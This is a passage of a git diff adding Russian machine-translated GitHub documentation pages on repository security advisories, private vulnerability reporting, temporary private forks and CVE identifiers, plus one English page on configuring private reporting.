безопасности в частном порядке сообщают об уязвимостях в своем репозитории, и отправляет уведомления, если хранители наблюдают за репозиторием или если для него включены уведомления. Дополнительные сведения см. в разделе [Настройка уведомлений](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +1. Щелкните рекомендацию, которую вы хотите просмотреть. Советы, о которых сообщается в частном порядке, будут иметь состояние `Needs triage`. + + ![Снимок экрана: пример списка рекомендаций](/assets/images/help/security/advisory-list.png) + +2. Внимательно изучите отчет. Вы можете: + - Сотрудничайте с исследователем по безопасности над исправлением в частном порядке, щелкнув **Запустить временную частную вилку**. Это дает вам место для дальнейших обсуждений с участником без изменения состояния предлагаемой рекомендации с `Needs triage`. + - Примите отчет об уязвимостях в качестве черновика рекомендаций по {% data variables.product.prodname_dotcom %}, нажав кнопку **Принять и открыть как черновик**. При выборе этого параметра: + - Это не делает отчет общедоступным. + - Отчет становится проектом рекомендаций по безопасности репозитория, и вы можете работать с ним так же, как и с любым проектом рекомендаций, которые вы создаете. + Дополнительные сведения о рекомендациях по безопасности см. в разделе [Сведения о рекомендациях по безопасности репозитория](/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories). + - Отклоните отчет, нажав кнопку **Закрыть советы по безопасности**. По возможности следует добавить комментарий, объясняющий, почему вы не считаете отчет угрозой безопасности, прежде чем закрывать рекомендации. + + ![Снимок экрана: параметры, доступные для ведения репозитория при просмотре отчета об уязвимостях, отправленного извне](/assets/images/help/security/advisory-maintainer-options.png) diff --git a/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability.md b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability.md new file mode 100644 index 000000000000..7cb7b1445625 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/guidance-on-reporting-and-writing/privately-reporting-a-security-vulnerability.md @@ -0,0 +1,73 @@ +--- +title: Конфиденциальное сообщение об уязвимости системы безопасности +intro: 'Некоторые общедоступные репозитории настраивают рекомендации по безопасности, чтобы любой пользователь мог напрямую и в частном порядке сообщать об уязвимостях системы безопасности.' +versions: + fpt: '*' + ghec: '*' +type: how_to +miniTocMaxHeadingLevel: 3 +topics: + - Security advisories + - Vulnerabilities +shortTitle: Privately reporting +ms.openlocfilehash: 14d410ac58584bf007b7726a618c90a7cb7ac246 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148160271' +--- +{% data reusables.security-advisory.private-vulnerability-reporting-beta %} + +{% data reusables.security-advisory.private-vulnerability-reporting-enable %} + +## Сведения о конфиденциальном сообщении об уязвимости системы безопасности + +Исследователи по безопасности часто чувствуют ответственность за оповещение пользователей об уязвимости, которую можно использовать. Если нет четких указаний о обращении к специалистам по обслуживанию репозитория, содержащего уязвимость, у исследователей по безопасности не может быть другого выбора, кроме как опубликовать об уязвимости в социальных сетях, отправить прямые сообщения в службу поддержки или даже создать публичные вопросы. Такая ситуация потенциально может привести к раскрытию сведений об уязвимости. + +Частные отчеты об уязвимостях упрощают для исследователей безопасности сообщать об уязвимостях непосредственно в поддержку репозитория с помощью простой формы. + +Для исследователей безопасности преимущества использования частных отчетов об уязвимостях: +- Меньше разочарования и меньше времени, затрачиваемого на попытку выяснить, как связаться с обслуживающим. +- Более плавный процесс раскрытия и обсуждения сведений об уязвимостях. +- Возможность обсудить сведения об уязвимостях в частном порядке с помощью службы поддержки репозитория. + +{% note %} + +**Примечание:** Если в репозитории не включены частные отчеты vulnerabiliy, необходимо инициировать процесс создания отчетов, следуя инструкциям в политике безопасности для репозитория, или создать проблему с запросом у хранителей предпочтительного контакта по вопросам безопасности. Дополнительные сведения см. в разделе [Сведения о скоординированных раскрытиях уязвимостей системы безопасности](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities#about-reporting-and-disclosing-vulnerabilities-in-projects-on-github). + +{% endnote %} + +## Конфиденциальное сообщение об уязвимости системы безопасности + +Специалисты по безопасности могут в частном порядке сообщать об уязвимости безопасности службам поддержки репозитория. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +1. Щелкните **Сообщить об уязвимости** , чтобы открыть форму рекомендаций. + + ![Снимок экрана: кнопка "Сообщить об уязвимости"](/assets/images/help/security/report-a-vulnerability-button.png) + +2. Заполните форму сведений о рекомендациях. + {% tip %} + + **Совет:** В этой форме обязательны только заголовок и описание. (В общей форме рекомендаций по безопасности проекта, которую инициирует владелец репозитория, также требуется указать экосистему.) Тем не менее, мы рекомендуем исследователям безопасности предоставлять как можно больше сведений о форме, чтобы специалисты по поддержке могли принять обоснованное решение об отправленном отчете. + + {% endtip %} + + Дополнительные сведения о доступных полях и рекомендации по заполнению формы см. в разделах [Создание рекомендаций по безопасности репозитория](/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory) и [Рекомендации по написанию рекомендаций по безопасности репозитория](/code-security/security-advisories/guidance-on-reporting-and-writing/best-practices-for-writing-repository-security-advisories). + +1. В нижней части формы щелкните **Отправить отчет**. {% data variables.product.prodname_dotcom %} отобразит сообщение о том, что обслуживающие организации были уведомлены и что у вас есть ожидающий кредит для этих рекомендаций по безопасности. + + ![Снимок экрана: кнопка "Отправить отчет"](/assets/images/help/security/advisory-submit-report-button.png) + + {% tip %} + + **Совет:** При отправке отчета {% data variables.product.prodname_dotcom %} автоматически добавляет репортера об уязвимости в качестве участника совместной работы и в качестве зачисленного пользователя в предложенные рекомендации. + + {% endtip %} + +1. При необходимости нажмите кнопку **Запустить временную частную вилку,** чтобы устранить проблему. Обратите внимание, что только поддержку репозитория может объединить частную вилку. + + ![Снимок экрана: кнопка "Запустить временную вилку"](/assets/images/help/security/advisory-start-a-temporary-private-fork-button.png) + +Дальнейшие действия зависят от действий, выполненных обслуживателем репозитория. Дополнительные сведения см. в разделе [Управление обнаруженными в частном порядке уязвимостями системы безопасности](/code-security/security-advisories/guidance-on-reporting-and-writing/managing-privately-reported-security-vulnerabilities). diff --git a/translations/ru-RU/content/code-security/security-advisories/index.md b/translations/ru-RU/content/code-security/security-advisories/index.md new file mode 100644 index 000000000000..f17b325e3dab --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/index.md @@ -0,0 +1,26 @@ +--- +title: Работа с рекомендациями по безопасности +shortTitle: Security advisories +intro: 'Узнайте, как работать с рекомендациями по безопасности в {% data variables.product.prodname_dotcom %},{% ifversion fpt or ghec %} независимо от того, хотите ли вы внести свой вклад в существующие глобальные рекомендации или создать рекомендации по безопасности для репозитория,{% endif %} улучшая совместную работу между хранителями репозитория и исследователями в области безопасности.' +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Security advisories + - Vulnerabilities + - Repositories + - CVEs +children: + - /global-security-advisories + - /repository-security-advisories + - /guidance-on-reporting-and-writing +ms.openlocfilehash: a42c57006a05bd1fffc09c8241d22eddc67ed8f1 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114148' +--- + diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md new file mode 100644 index 000000000000..fad54726a636 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/about-repository-security-advisories.md @@ -0,0 +1,67 @@ +--- +title: Сведения о рекомендациях по безопасности репозитория +intro: 'С помощью рекомендаций по безопасности репозитория можно в частном порядке обсуждать, исправлять и публиковать сведения об уязвимостях системы безопасности в репозитории.' +shortTitle: About repository security advisories +redirect_from: + - /articles/about-maintainer-security-advisories + - /github/managing-security-vulnerabilities/about-maintainer-security-advisories + - /github/managing-security-vulnerabilities/about-github-security-advisories + - /code-security/security-advisories/about-github-security-advisories + - /code-security/repository-security-advisories/about-github-security-advisories-for-repositories +versions: + fpt: '*' + ghec: '*' +type: overview +topics: + - Security advisories + - Vulnerabilities + - CVEs +ms.openlocfilehash: 562969ec29feda0901b79f8b6e2cb9cdb390ea56 +ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 11/09/2022 +ms.locfileid: '148158824' +--- +{% data reusables.repositories.security-advisory-admin-permissions %} + +{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} + +## Сведения о рекомендациях по безопасности репозитория + +{% data reusables.security-advisory.disclosing-vulnerabilities %} Дополнительные сведения см. в разделе "[О скоординированном раскрытии уязвимостей системы безопасности](/code-security/security-advisories/guidance-on-reporting-and-writing/about-coordinated-disclosure-of-security-vulnerabilities)". + +{% data reusables.security-advisory.security-advisory-overview %} + +С помощью рекомендаций по безопасности репозитория вы можете: + +1. Создать черновик рекомендации по безопасности и с его помощью в частном порядке обсудить влияние уязвимости на проект. Дополнительные сведения см. в статье [Создание рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/creating-a-repository-security-advisory). +2. Осуществляйте закрытую совместную работу для устранения уязвимости во временной частной вилке. +3. Опубликовать рекомендацию по безопасности, чтобы уведомить сообщество об уязвимости после выпуска исправления. Дополнительные сведения см. в статье [Публикация рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory). + +{% data reusables.repositories.security-advisories-republishing %} + +Вы можете поблагодарить лиц, которые внесли свой вклад в создание рекомендации по безопасности. Дополнительные сведения см. в статье [Изменение рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories). + +{% data reusables.repositories.security-guidelines %} + +Если вы создали рекомендацию по безопасности в репозитории, она останется в репозитории. Мы публикуем рекомендации по безопасности для всех экосистем, поддерживаемых схемой зависимостей, в {% data variables.product.prodname_advisory_database %} в [github.com/advisories](https://github.com/advisories). Любой пользователь может отправить изменение для рекомендации, опубликованной в {% data variables.product.prodname_advisory_database %}. Дополнительные сведения см. в разделе [Редактирование рекомендаций по безопасности в {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/editing-security-advisories-in-the-github-advisory-database). + +Если рекомендация по безопасности относится к npm, мы также опубликуем ее в рекомендациях по безопасности для npm. Дополнительные сведения см. в разделе [npmjs.com/advisories](https://www.npmjs.com/advisories). + +{% data reusables.repositories.github-security-lab %} + +## Идентификационные номера CVE + +{% data variables.product.prodname_security_advisories %} основаны на списке распространенных уязвимостей (CVE). Форма рекомендаций по безопасности для {% data variables.product.prodname_dotcom %} — это стандартная форма, соответствующая формату описания CVE. + +{% data variables.product.prodname_dotcom %} — это центр нумерации CVE (CNA), которому разрешено назначать идентификационные номера CVE. Дополнительные сведения см. в разделе "[Сведения о CVE](https://www.cve.org/About/Overview)" и "[Центры нумерации CVE](https://www.cve.org/ProgramOrganization/CNAs)" на веб-сайте CVE. + +При создании рекомендации по безопасности для общедоступного репозитория в {% data variables.product.prodname_dotcom %} для уязвимости безопасности можно указать существующий идентификационный номер CVE. {% data reusables.repositories.request-security-advisory-cve-id %} + +Когда мы опубликуем рекомендацию по безопасности и {% data variables.product.prodname_dotcom %} присвоит уязвимости идентификационный номер CVE, {% data variables.product.prodname_dotcom %} опубликует CVE в базе данных MITRE. +Дополнительные сведения см. в статье [Публикация рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory). + +## {% data variables.product.prodname_dependabot_alerts %} для опубликованных рекомендаций по безопасности + +{% data reusables.repositories.github-reviews-security-advisories %} diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md new file mode 100644 index 000000000000..e356e519ced4 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory.md @@ -0,0 +1,51 @@ +--- +title: Добавление участника совместной работы в рекомендации по безопасности репозитория +intro: Вы можете добавить других пользователей или команды для совместной работы по вопросам безопасности. +redirect_from: + - /articles/adding-a-collaborator-to-a-maintainer-security-advisory + - /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-maintainer-security-advisory + - /github/managing-security-vulnerabilities/adding-a-collaborator-to-a-security-advisory + - /code-security/security-advisories/adding-a-collaborator-to-a-security-advisory + - /code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities + - Collaboration +shortTitle: Add collaborators +ms.openlocfilehash: d080fa5d7b66d9ce89b7985f689133e52ec69cc3 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114140' +--- +Пользователи с разрешениями администратора в отношении рекомендаций по безопасности могут добавлять участников совместной работы в рекомендации по безопасности. + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## Добавление участника совместной работы в рекомендации по безопасности + +Участники совместной работы имеют разрешения на запись для рекомендаций по безопасности. Дополнительные сведения см. в разделе [Уровни разрешений для рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories). + +{% note %} + +{% data reusables.repositories.security-advisory-collaborators-public-repositories %} Дополнительные сведения об удалении участника совместной работы из рекомендаций по безопасности см. в разделе [Удаление участника совместной работы из рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory). + +{% endnote %} + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, куда вы хотите добавить участника совместной работы. +5. В правой части страницы в разделе "Участники совместной работы" введите имя пользователя или команды, которых вы хотите добавить в рекомендации по безопасности. + ![Поле для ввода имени пользователя или команды](/assets/images/help/security/add-collaborator-field.png) +6. Нажмите кнопку **Добавить**. + ![Кнопка "Добавить"](/assets/images/help/security/security-advisory-add-collaborator-button.png) + +## Дополнительные материалы + +- [Уровни разрешений для рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories) +- [Совместная работа во временной частной вилке для устранения уязвимости репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability) +- [Удаление участника совместной работы из рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/removing-a-collaborator-from-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md new file mode 100644 index 000000000000..9f80f29de1fb --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability.md @@ -0,0 +1,91 @@ +--- +title: Совместная работа во временной частной вилке для устранения уязвимостей безопасности репозитория +intro: Вы можете создать временную частную вилку для частной совместной работы по устранению уязвимостей безопасности в репозитории. +redirect_from: + - /articles/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability + - /github/managing-security-vulnerabilities/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability + - /code-security/security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-security-vulnerability + - /code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities + - Collaboration + - Forks +shortTitle: Temporary private forks +ms.openlocfilehash: c5d4f5f8b58498f995a473b4c0c0f3c38ea96083 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114132' +--- +{% data reusables.security-advisory.repository-level-advisory-note %} + +## Предварительные требования + +Прежде чем вы сможете совместно работать во временной частной вилке, необходимо создать черновик рекомендаций по безопасности. Дополнительные сведения см. в статье [Создание рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/creating-a-repository-security-advisory). + +## Создание временной частной вилки + +Любой пользователь с разрешениями администратора в рекомендациях по безопасности может создать временную частную вилку. + +Чтобы обеспечить безопасность сведений об уязвимостях, интеграции, включая CI, не имеют доступа к временным частным вилкам. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, в которой вы хотите создать временную частную вилку. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. Щелкните **Новая временная частная вилка**. + ![Кнопка "Новая временная частная вилка"](/assets/images/help/security/new-temporary-private-fork-button.png) + +## Добавление участников совместной работы во временную частную вилку + +Любой пользователь с разрешениями администратора в рекомендациях по безопасности может добавить дополнительных участников совместной работы в раздел рекомендаций по безопасности, а участники совместной работы над рекомендациями по безопасности могут получить доступ к временной частной вилке. Дополнительные сведения см. в разделе [Добавление участника совместной работы в рекомендации по безопасности репозитория](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory). + +## Добавление изменений к временной частной вилке + +Любой пользователь с разрешениями на запись в рекомендациях по безопасности может добавить изменения к временной частной вилке. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, которую вы хотите изменить. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. Добавьте изменения в {% data variables.product.product_name %} или локально: + - Чтобы добавить изменения в {% data variables.product.product_name %}, в разделе "Добавление изменений к этой рекомендации" щелкните **временную частную вилку**. Затем создайте новую ветвь и измените файлы. Дополнительные сведения см. в разделах [Создание и удаление ветвей в репозитории](/articles/creating-and-deleting-branches-within-your-repository) и [Изменение файлов](/repositories/working-with-files/managing-files/editing-files). + - Чтобы добавить изменения локально, следуйте инструкциям в разделах "Клонирование и создание новой ветви" и "Внесение изменений и отправка". + ![Окно "Добавление изменений к этой рекомендации"](/assets/images/help/security/add-changes-to-this-advisory-box.png) + +## Создание запроса на вытягивание из временной частной вилки + +Любой пользователь с разрешениями на запись в рекомендациях по безопасности может создать запрос на вытягивание из временной частной вилки. + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, в которой вы хотите создать запрос на вытягивание. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. Справа от имени ветви щелкните **Сравнить и создать запрос на вытягивание**. + ![Кнопка "Сравнить и создать запрос на вытягивание"](/assets/images/help/security/security-advisory-compare-and-pr.png) {% data reusables.repositories.pr-title-description %} {% data reusables.repositories.create-pull-request %} + +{% data reusables.repositories.merge-all-pulls-together %} Дополнительные сведения см. в разделе [Слияние изменений в рекомендациях по безопасности](#merging-changes-in-a-security-advisory). + +## Слияние изменений в рекомендациях по безопасности + +Любой пользователь с разрешениями администратора в рекомендациях по безопасности может выполнять слияние изменений в рекомендациях по безопасности. + +{% data reusables.repositories.merge-all-pulls-together %} + +Перед слиянием изменений в рекомендациях по безопасности все открытые запросы на вытягивание во временной частной вилке должны быть с возможностью слияния. Конфликтов слияния не должно быть, а также должны быть выполнены требования к защите ветви. Чтобы обеспечить безопасность сведений об уязвимостях, проверки состояния не выполняются на запросах на вытягивание во временных частных вилках. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/articles/about-protected-branches). + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, для изменений в которой вы хотите выполнить слияние. + ![Советы по безопасности в списке](/assets/images/help/security/security-advisory-in-list.png) +5. Чтобы выполнить слияние для всех открытых запросов на вытягивание во временной частной вилке, нажмите **Выполнить слияние для запросов на вытягивание**. + ![кнопка "Выполнить слияние для запросов на вытягивание"](/assets/images/help/security/merge-pull-requests-button.png) + +После слияния изменений в рекомендации по безопасности можно опубликовать эту рекомендацию, чтобы сообщить сообществу об уязвимости системы безопасности в предыдущих версиях проекта. Дополнительные сведения см. в статье [Публикация рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory). + +## Дополнительные материалы + +- [Уровни разрешений для рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/permission-levels-for-repository-security-advisories) +- [Публикация рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory) diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md new file mode 100644 index 000000000000..bf797baba1c1 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/configuring-private-vulnerability-reporting-for-a-repository.md @@ -0,0 +1,44 @@ +--- +title: Configuring private vulnerability reporting for a repository +intro: Owners and administrators of public repositories can allow security researchers to report vulnerabilities securely in the repository by enabling private vulnerability reporting. +permissions: 'Anyone with admin permissions to a public repository can enable and disable private vulnerability reporting for the repository.' +versions: + fpt: '*' + ghec: '*' +type: how_to +miniTocMaxHeadingLevel: 3 +topics: + - Security advisories + - Vulnerabilities +shortTitle: Configure private vulnerability reporting +--- + +{% data reusables.security-advisory.private-vulnerability-reporting-beta %} + +## About privately reporting a security vulnerability + +Security researchers often feel responsible for alerting users to a vulnerability that could be exploited. If there are no clear instuctions about contacting maintainers of the repository containing the vulnerability, security researchers may have no other choice but to post about the vulnerability on social media, send direct messages to the maintainer, or even create public issues. This situation can potentially lead to a public disclosure of the vulnerability details. + +{% data reusables.security-advisory.private-vulnerability-reporting-overview %} + +For maintainers, the benefits of using private vulnerability reporting are: +- Less risk of being contacted publicly, or via undesired means. +- Receive reports in the same platform you resolve them in for simplicity +- The security researcher creates or at least initiates the advisory report on the behalf of maintainers. +- Maintainers receive reports in the same platform as the one used to discuss and resolve the advisories. +- Vulnerability less likely to be in the public eye. +- The opportunity to discuss vulnerability details privately with security researchers and collaborate on the patch. + +## Enabling or disabling private vulnerability reporting for a repository + +{% data reusables.repositories.navigate-to-repo %} +{% data reusables.repositories.sidebar-settings %} +{% data reusables.repositories.navigate-to-code-security-and-analysis %} +1. Under "Code security and analysis", to the right of "Private vulnerability reporting", click **Enable** or **Disable**, to enable or disable the feature, respectively. + + ![Screenshot of the "Code security and analysis" page with the "Enable" button emphasized for private vulnerability reporting](/assets/images/help/security/private-vulnerability-reporting-enable-or-disable.png) + +When a maintainer enables private security reporting for their repository, security researchers will see a new button in the **Advisories** page of the repository. The security researcher can click this button to privately report a security vulnerability to the repository maintainer. + + ![Screenshot showing the "Report a vulnerability" button](/assets/images/help/security/report-a-vulnerability-button.png) + diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md new file mode 100644 index 000000000000..7630ba9486bc --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/creating-a-repository-security-advisory.md @@ -0,0 +1,45 @@ +--- +title: Создание рекомендаций по безопасности репозитория +intro: Вы можете создать проект рекомендаций по безопасности для частного обсуждения и устранения уязвимости безопасности в проекте разработки ПО с открытым кодом. +redirect_from: + - /articles/creating-a-maintainer-security-advisory + - /github/managing-security-vulnerabilities/creating-a-maintainer-security-advisory + - /github/managing-security-vulnerabilities/creating-a-security-advisory + - /code-security/security-advisories/creating-a-security-advisory + - /code-security/repository-security-advisories/creating-a-repository-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities +shortTitle: Create repository advisories +ms.openlocfilehash: de22432173f6bf909d001a3f780b0f9943769ec0 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114111' +--- +Любой пользователь с правами администратора в репозитории может создать рекомендации по безопасности. + +{% data reusables.security-advisory.security-researcher-cannot-create-advisory %} + +## Создание рекомендаций по безопасности + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. Щелкните **Создать черновик рекомендаций по безопасности** , чтобы открыть форму проекта рекомендаций. + ![Кнопка для открытия черновика рекомендаций](/assets/images/help/security/security-advisory-new-draft-security-advisory-button.png) +5. Введите заголовок для рекомендаций по безопасности. +{% data reusables.repositories.security-advisory-edit-details %} {% data reusables.repositories.security-advisory-edit-severity %} {% data reusables.repositories.security-advisory-edit-cwe-cve %} {% data reusables.repositories.security-advisory-edit-description %} +11. Щелкните **Create draft security advisory** (Создать черновик рекомендаций по безопасности). + ![Кнопка для создания рекомендаций по безопасности](/assets/images/help/security/security-advisory-create-security-advisory-button.png) + +## Дальнейшие действия + +- Прокомментируйте черновик рекомендаций по безопасности, чтобы обсудить уязвимость со своей командой. +- Добавьте в рекомендации по безопасности участников совместной работы. Дополнительные сведения см. в разделе [Добавление участника совместной работы в рекомендации по безопасности репозитория](/code-security/repository-security-advisories/adding-a-collaborator-to-a-repository-security-advisory). +- Осуществляйте закрытую совместную работу для устранения уязвимости во временной частной вилке. Дополнительные сведения см. в разделе [Совместная работа во временной частной вилке для устранения уязвимости репозитория](/code-security/repository-security-advisories/collaborating-in-a-temporary-private-fork-to-resolve-a-repository-security-vulnerability). +- Добавьте лиц, на чей счет должен быть отнесен вклад в работу над рекомендациями по безопасности. Дополнительные сведения см. в статье [Изменение рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/editing-a-repository-security-advisory#about-credits-for-security-advisories). +- Опубликуйте рекомендации по безопасности, чтобы уведомить свое сообщество об уязвимости. Дополнительные сведения см. в статье [Публикация рекомендаций по безопасности репозитория](/code-security/repository-security-advisories/publishing-a-repository-security-advisory). diff --git a/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md new file mode 100644 index 000000000000..34b1dd283552 --- /dev/null +++ b/translations/ru-RU/content/code-security/security-advisories/repository-security-advisories/editing-a-repository-security-advisory.md @@ -0,0 +1,49 @@ +--- +title: Изменение рекомендаций по безопасности репозитория +intro: 'Вы можете изменить метаданные и описание рекомендаций по обеспечению безопасности репозитория, если необходимо обновить сведения или исправить ошибки.' +redirect_from: + - /github/managing-security-vulnerabilities/editing-a-security-advisory + - /code-security/security-advisories/editing-a-security-advisory + - /code-security/repository-security-advisories/editing-a-repository-security-advisory +versions: + fpt: '*' + ghec: '*' +type: how_to +topics: + - Security advisories + - Vulnerabilities +shortTitle: Edit repository advisories +ms.openlocfilehash: db25b39285c65cd1ba83e1a2b6e76e7ec0d6e3e4 +ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/27/2022 +ms.locfileid: '148114127' +--- +Пользователи с разрешениями администратора в отношении рекомендаций по безопасности репозитория изменять эти рекомендации. + +{% data reusables.security-advisory.repository-level-advisory-note %} + +## Сведения о благодарностях за рекомендации по безопасности + +Вы можете включать в раздел благодарностей людей, которые помогли обнаружить, зарегистрировать или устранить уязвимость. Если вы решаете включить какого-либо человека в раздел благодарностей, он может принять или отклонить такое предложение. + +Если человек принимает это предложение, его имя пользователя отображается в разделе "Credits" (Благодарности) рекомендации по безопасности. Любой пользователь с доступом на чтение к репозиторию может видеть рекомендацию и людей, которые приняли предложение о включении в раздел благодарностей за нее. + +Если вы считаете, что должны быть включены в раздел благодарностей для рекомендации по безопасности, обратитесь к создавшему ее лицу и попросите изменить рекомендацию, чтобы включить вас в раздел благодарностей. Только автор рекомендации может включить вас в раздел благодарностей, поэтому пожалуйста, не обращайтесь в службу поддержки GitHub по поводу благодарностей за рекомендации по безопасности. + +## Изменение рекомендаций по безопасности + +{% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-security %} {% data reusables.repositories.sidebar-advisories %} +4. В списке "Рекомендации по безопасности" щелкните рекомендацию по безопасности, которую хотите изменить. +5. В правом верхнем углу сведений о рекомендациях по безопасности щелкните {% octicon "pencil" aria-label="The edit icon" %}. Откроется форма рекомендаций по безопасности в режиме редактирования. + ![Кнопка "Изменить" для рекомендаций по безопасности](/assets/images/help/security/security-advisory-edit-button.png) {% data reusables.repositories.security-advisory-edit-details %} {% data reusables.repositories.security-advisory-edit-severity %} {% data reusables.repositories.security-advisory-edit-cwe-cve %} {% data reusables.repositories.security-advisory-edit-description %} +11. При необходимости измените раздел "Credits" (Благодарности) для рекомендации по безопасности. + ![Благодарности для рекомендации по 